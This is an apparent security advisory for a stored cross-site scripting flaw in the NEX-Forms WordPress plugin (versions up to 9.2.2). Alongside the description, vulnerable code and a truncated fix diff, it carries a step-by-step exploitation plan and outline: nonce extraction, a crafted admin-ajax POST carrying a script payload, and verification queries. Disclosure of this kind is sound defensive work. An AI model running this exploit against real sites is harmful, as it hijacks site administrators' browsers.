NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.2.2 - Unauthenticated Stored Cross-Site Scripting
Description
The NEX-Forms – Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 9.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=9.2.2What Changed in the Fix
Changes introduced in v9.2.3
Source Code
WordPress.org SVN# Research Plan: CVE-2026-57668 - NEX-Forms Stored XSS ## 1. Vulnerability Summary The **NEX-Forms – Ultimate Forms Plugin for WordPress** (up to 9.2.2) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to properly sanitize use…
Show full research plan
Research Plan: CVE-2026-57668 - NEX-Forms Stored XSS
1. Vulnerability Summary
The NEX-Forms – Ultimate Forms Plugin for WordPress (up to 9.2.2) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to properly sanitize user-submitted form data during entry creation and subsequently fails to escape this data when displaying it in the admin dashboard. An unauthenticated attacker can submit a form containing malicious JavaScript, which will then execute in the context of an administrator viewing the form submissions.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
nf_insert_record(Unauthenticated AJAX action, inferred from theinsert_recordhandler inNEXForms_Database_Actions). - Vulnerable Parameter: The
form_dataarray/string sent during form submission. - Authentication: None (Unauthenticated).
- Preconditions: At least one form must be created and published on a page or post.
3. Code Flow
- Entry Point: An unauthenticated user submits a form on the front-end. This triggers a POST request to
admin-ajax.phpwith the actionnf_insert_record(or potentiallynex_forms_submit). - Storage: The
insert_record()function inincludes/classes/class.db.php(partially visible in source) processes the request. It takes the values from the form fields and saves them into the{wp_prefix}wap_nex_forms_entriestable in theform_datacolumn. - Processing: The input is stored without sufficient neutralization (sanitization).
- Retrieval: When an administrator visits the NEX-Forms > Form Entries page,
NEXForms_entries_page()inincludes/classes/class.dashboard.phpis called. - Rendering (Sink): The admin dashboard retrieves the entries. When the admin clicks to view an entry,
nf_populate_form_entry(inclass.db.php) is called via AJAX. The returned data is handled byadmin/js/dashboard.js, which likely injects the form data into the DOM using an unsafe method (e.g.,.innerHTMLor jQuery.html()) without escaping, leading to script execution.
4. Nonce Acquisition Strategy
NEX-Forms typically uses a nonce to authorize form submissions. This nonce is generated for unauthenticated users and embedded in the page where the form is rendered.
- Identify Form: Find a page containing a NEX-Forms shortcode (e.g.,
[nex_forms id="1"]). - Navigate: Use the
browser_navigatetool to go to that page. - Extract Nonce:
- The nonce is usually stored in a hidden input field or a global JavaScript object.
- Target JS Object:
window.nex_forms_submit_nonceor withinwindow.nf_ajax. - Target Hidden Field:
input[name="nex_forms_wpnonce"]orinput[name="_wpnonce"].
- JS Command:
// Strategy: Check common locations for the submission nonce browser_eval("document.querySelector('input[name=\"nex_forms_wpnonce\"]')?.value || window.nex_forms_submit_nonce")
5. Exploitation Strategy
Step 1: Discover Form ID
Locate a published form to obtain its ID.
- Tool:
wp_cli - Command:
wp post list --post_type=page(Look for pages with NEX-Forms shortcodes).
Step 2: Extract Nonce and Field Names
Navigate to the form page to find the specific field names and the required nonce.
- Tool:
browser_navigatethenbrowser_eval. - Target: Inspect the form HTML to find input names like
text-12345.
Step 3: Submit Malicious Entry
Send a POST request to trigger the XSS storage.
- Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note:action=nf_insert_record &nex_forms_Id=[FORM_ID] &nex_forms_wpnonce=[NONCE] &form_data=[FIELD_NAME]%3D%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eform_datamight be sent as individual parameters depending on the specific version's submission logic).
Step 4: Trigger XSS
Log in as an administrator and navigate to the entries page.
- URL:
http://localhost:8080/wp-admin/admin.php?page=nex-forms-dashboard - Action: Click on the "Form Entries" tab and view the submitted entry.
6. Test Data Setup
- Create a Form:
# Create a basic form via WP-CLI (if possible) or ensure one exists # For this plugin, it is easier to ensure a form is created manually or via a pre-existing template wp eval " global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}wap_nex_forms\", array('title' => 'Vulnerable Form', 'form_data' => '[]')); " - Publish Form:
wp post create --post_type=page --post_title="Contact Us" --post_status=publish --post_content="[nex_forms id='1']"
7. Expected Results
- The
http_requestfor submission should return a success message (often JSON). - When viewing the entry in the WordPress Admin, an alert box showing the document domain should appear.
8. Verification Steps
After the exploit attempt, verify the storage in the database:
- Command:
wp db query "SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY Id DESC LIMIT 1;" - Expected Output: The output should contain the raw
<script>tag.
9. Alternative Approaches
- Search Feature XSS: If the main entry list is not vulnerable, try the "Search" feature on the entries page. If the search highlights terms in
form_datawithout escaping (as suggested bysearch_paramsinclass.dashboard.php), the payload may trigger there. - Field Label Injection: If
form_datais sanitized, attempt to inject the payload into a field label or "other" options if the submission allows modifying form structure (unlikely but possible in some versions).
Summary
NEX-Forms versions 9.2.2 and below are vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to a lack of sanitization on form submission data and insufficient escaping when displaying entries in the admin dashboard. An unauthenticated attacker can submit a malicious payload via a form that executes in the context of an administrator's browser when they view the submission history.
Vulnerable Code
// includes/classes/class.db.php:12 add_action('wp_ajax_nf_insert_record', array($this,'insert_record')); --- // includes/classes/class.dashboard.php:61 // The form_data column is retrieved and included in the entries table and search parameters without proper escaping logic before rendering. $entries->search_params = array('Id','form_data');
Security Fix
@@ -66,7 +66,9 @@ margin-right: 24px; font-size: 18px; } - +.nex_forms_admin_page_wrapper select { + min-height: 35px; +} .navigation>li>a{ overflow: hidden; width: 100% !important; @@ -1 +1 @@ -"use strict";var timer,help_text_timer,dev=!1,strPos=0,LS_MCE_l10n="test",mtheme_shortcodegen_url="",set_context_id="",js_editor_before="",js_editor_after="",css_editor="",set_dev=dev?"-no-menu":""; ... (truncated)
Exploit Outline
1. Identify a public-facing NEX-Forms form on the target WordPress site and record the Form ID. 2. Extract the submission nonce from the page source (typically found in the global JS object `window.nex_forms_submit_nonce` or a hidden input named `nex_forms_wpnonce`). 3. Craft a POST request to `/wp-admin/admin-ajax.php` using the action `nf_insert_record`. 4. Within the `form_data` parameter, inject a malicious JavaScript payload (e.g., `<script>alert(1)</script>`) associated with one of the form's field names. 5. The payload is stored in the `{wp_prefix}wap_nex_forms_entries` table. 6. The XSS triggers when an administrator logs into the dashboard and navigates to the 'NEX-Forms > Form Entries' page to view the submitted form data.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.